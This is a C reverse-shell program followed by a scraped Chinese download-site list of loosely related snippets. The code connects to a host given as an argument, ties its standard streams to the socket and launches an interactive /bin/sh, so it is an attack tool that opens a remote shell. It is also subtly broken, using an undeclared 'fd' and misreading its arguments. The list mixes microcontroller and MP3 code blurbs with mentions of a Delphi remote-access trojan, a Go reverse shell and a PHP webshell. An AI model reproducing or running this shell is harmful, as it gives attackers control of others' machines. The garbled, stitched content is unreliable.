#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
void error(char *msg)
{
perror(msg);
exit(0);
}
int main(int argc, char *argv[])
{
int sockfd, portno, lportno,n;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;
struct hostent *server;
char buffer[256];
if (argc < 3) {
fprintf(stderr,"usage %s hostname port LocalPort\n", argv[0]);
exit(0);
}
portno = atoi(argv[2]);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
error("ERROR opening socket");
bzero((char *) &client_addr, sizeof(client_addr));
lportno = atoi(argv[3]);
client_addr.sin_family = AF_INET;
client_addr.sin_addr.s_addr = INADDR_ANY;
client_addr.sin_port = htons(lportno);
if (bind(sockfd, (struct sockaddr *) &client_addr,
sizeof(client_addr)) < 0)
error("ERROR on binding");
server = gethostbyname(argv[1]);
if (server == NULL) {
fprintf(stderr,"ERROR, no such host ");
exit(0);
}
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
bcopy((char *)server->h_addr,
(char *)&serv_addr.sin_addr.s_addr,
server->h_length);
serv_addr.sin_port = htons(portno);
if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0)
error("ERROR connecting");
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execl("/bin/sh","sh -i", NULL);
close(fd);
}
相关推荐
修改的一个端口转发程序源代码,三种模式,多线程支持多连接,支持重连,有保活机制,与socks5服务器配合,可构成访问内网的socks5服务器。
在本场景中,"远程反弹木马软件Delphi源程序"指的是使用Delphi编写的恶意软件源代码,这种软件通常被黑客用于非法活动,如远程控制、数据窃取或网络攻击。 远程反弹木马(Remote Access Trojan,RAT)是一种恶意...
标题中的“超声波PIC单片机C程序”是指使用C语言编程,针对微控制器 PIC(Microchip Technology公司的产品)来实现超声波测距功能的项目。这种技术广泛应用于各种自动化设备、智能家居、机器人等领域,以实现非接触...
C语言因其结构化、高效和可移植性而成为编写单片机程序的首选语言。 在51单片机上编写去抖动程序时,通常采用延时或循环检测两种方法。延时法是在检测到按键按下后,等待一段固定的时间(如10-20毫秒),再检测一次...
- **源代码**:Go语言的源代码文件,展示了如何构建反弹Shell的功能,包括连接回攻击服务器、接收命令并执行、返回结果等逻辑。 - **编译脚本**:用于构建可执行文件的脚本,可能包含平台特定的编译选项。 - **测试...
1. **初始化I/O端口**:在程序开始时,需要将用于检测按键的I/O端口设置为输入模式,并通常设置内部上拉电阻,以在未按下按键时保持高电平。这可以通过使用`DDRx`和`PORTx`寄存器来实现,其中`x`表示端口号。 2. **...
提供的"0012"和"51单片机超声波测距程序"可能是源代码文件,其中可能包含了完整的测距算法和必要的初始化设置。 在实际应用中,开发者需要注意超声波测距的一些限制,比如声波在不同介质中的传播速度不同,环境温度...
MP3解压程序源代码 MPEG4播放器源代码 MSN 仿真界面全部源代码 如题,非常好的界面设计实例,自绘控件的实现。 Mufan MP3播放的实现。 MYICQ 0.8 alpha1 (仿腾讯QQ整套聊天系统) 老版qq系统的实现。 MyIE3.0...
1. 初始化:配置微控制器的GPIO端口,将行线设置为输出,列线设置为输入,并可能启用中断,以便在按键被按下时及时响应。 2. 扫描:周期性地切换行线为低电平并读取列线状态,通过逻辑分析判断是否有按键按下。对于...
MP3解压程序源代码 如题。 MPEG4播放器源代码 如题。 MSN 仿真界面全部源代码 如题,非常好的界面设计实例,自绘控件的实现。 Mufan MP3播放的实现。 MYICQ 0.8 alpha1 (仿腾讯QQ整套聊天系统) 老版qq系统的实现...
标题中的"C语言软件"指的是基于C编程语言开发的软件,这是一种广泛应用的编程语言,以其高效、灵活和跨平台的特性闻名。C语言是许多操作系统、应用程序和系统软件的基础,包括著名的Linux操作系统和各种编译器。 ...
MP3解压程序源代码 MPEG4播放器源代码 MSN 仿真界面全部源代码 如题,非常好的界面设计实例,自绘控件的实现。 Mufan MP3播放的实现。 MYICQ 0.8 alpha1 (仿腾讯QQ整套聊天系统) 老版qq系统的实现。 MyIE3.0...
代码应包括GPIO配置、中断设置(如果使用)、主循环或中断服务程序中的按键检测逻辑以及必要的去抖动处理。 通过这个按键实验,你可以学习到STM32微控制器的基本操作,如GPIO配置、中断处理以及简单的用户交互。...
有些网站是utf8版的 要用utf8.php那个马编辑 ...这样就不会出现修改文件的时候出现中文乱码 1、超强的cookie功能。 2、加强文件管理功能,增加...10、linux主机端口反弹功能。使用PERL和C双重 实现。 默认密码 999999
- 使用 `hook` 技术替换 C 库函数 `connect` 可以监控程序的网络连接行为。 - `auditd` 可以监控系统调用,包括 `connect`,从而记录网络连接事件。 - 所以,不能实现对系统网络外连行为监控的是 a. 查看 `/var/...
MP3解压程序源代码 MPEG4播放器源代码 MSN 仿真界面全部源代码 如题,非常好的界面设计实例,自绘控件的实现。 Mufan MP3播放的实现。 MYICQ 0.8 alpha1 (仿腾讯QQ整套聊天系统) 老版qq系统的实现。 MyIE3.0...
MP3解压程序源代码 MPEG4播放器源代码 MSN 仿真界面全部源代码 如题,非常好的界面设计实例,自绘控件的实现。 Mufan MP3播放的实现。 MYICQ 0.8 alpha1 (仿腾讯QQ整套聊天系统) 老版qq系统的实现。 MyIE3.0...
MP3解压程序源代码 MPEG4播放器源代码 MSN 仿真界面全部源代码 如题,非常好的界面设计实例,自绘控件的实现。 Mufan MP3播放的实现。 MYICQ 0.8 alpha1 (仿腾讯QQ整套聊天系统) 老版qq系统的实现。 MyIE3.0...
- 可以将需要代理的程序进行设置。 #### 七、实验5:MSF进内网渗透 **实验环境描述:** - **基本信息:** 使用msf生成payload将msf用于内网渗透。 - **路径:** WinWeb服务器(192.168.20.162)。 - **使用工具:*...
6. 反弹性端口型木马:反弹性端口型木马的服务端使用主动端口,客户端使用被动端口。木马定时监侧控制端的存在,发现控制端上线立即弹出端口主动连接控制端打开的主动端口。 7. 木马的隐藏和加载:木马可以隐藏在...